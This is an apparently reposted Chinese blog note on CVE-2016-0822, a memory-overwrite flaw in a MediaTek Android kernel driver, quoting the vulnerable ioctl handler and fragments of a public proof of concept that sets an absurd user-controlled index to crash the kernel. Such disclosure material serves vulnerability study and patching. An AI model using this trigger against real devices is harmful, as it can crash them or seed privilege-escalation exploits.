首页 > Windows开发 > 详细

CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

时间:2016-08-15 14:19:04      阅读:453      评论:0      收藏:0      [点我收藏+]
  • CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

 

//mediatek/kernel/drivers/combo/common/core/include/wmt_lib.h
typedef struct {
        UINT32 dowloadSeq;
        UCHAR addRess[4];
        UCHAR patchName[256];
}WMT_PATCH_INFO,*P_WMT_PATCH_INFO;

VOID wmt_lib_set_patch_num(unsigned long num)
{
        P_DEV_WMT pWmtDev = &gDevWmt;
        pWmtDev->patchNum = num;
}
      
  ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);
  case WMT_IOCTL_SET_PATCH_INFO:{
      ...
      if (copy_from_user(&wMtPatchInfo, (void *)arg, sizeof(WMT_PATCH_INFO))) {
                                WMT_ERR_FUNC("copy_from_user failed at %d\n", __LINE__);
                                iRet = -EFAULT;
                                break;
                        }
      ...
      dWloadSeq = wMtPatchInfo.dowloadSeq; 
      //arbitrary memory overwrite. user can control dowloadSeq
      osal_memcpy(pPatchInfo + dWloadSeq - 1, &wMtPatchInfo,
                                    sizeof(WMT_PATCH_INFO));

CVE-2016-0822 PoC :

https://github.com/ScottyBauer/Android_Kernel_CVE_POCs/blob/master/CVE-2016-0822-mtk.c

 

        /* set some absurd offset, in hopes of causing panic or GPF */
        overflow.dowloadSeq = 0x31337;
        /* set obvious bogus data into data fields.
         * If I had exploitation skills these would contain pointers to userland!
         */
        memset(&overflow.addRess, ‘A‘, 4);
        memset(&overflow.patchName, ‘A‘, 256);

        ret = ioctl(fd, WMT_IOCTL_SET_PATCH_INFO, &overflow);

CVE-2016-0822-MTK-drivers/misc/mediatek/connectivity/common/combo/linux/wmt_dev.c#1158

原文:http://www.cnblogs.com/bittorrent/p/5772688.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!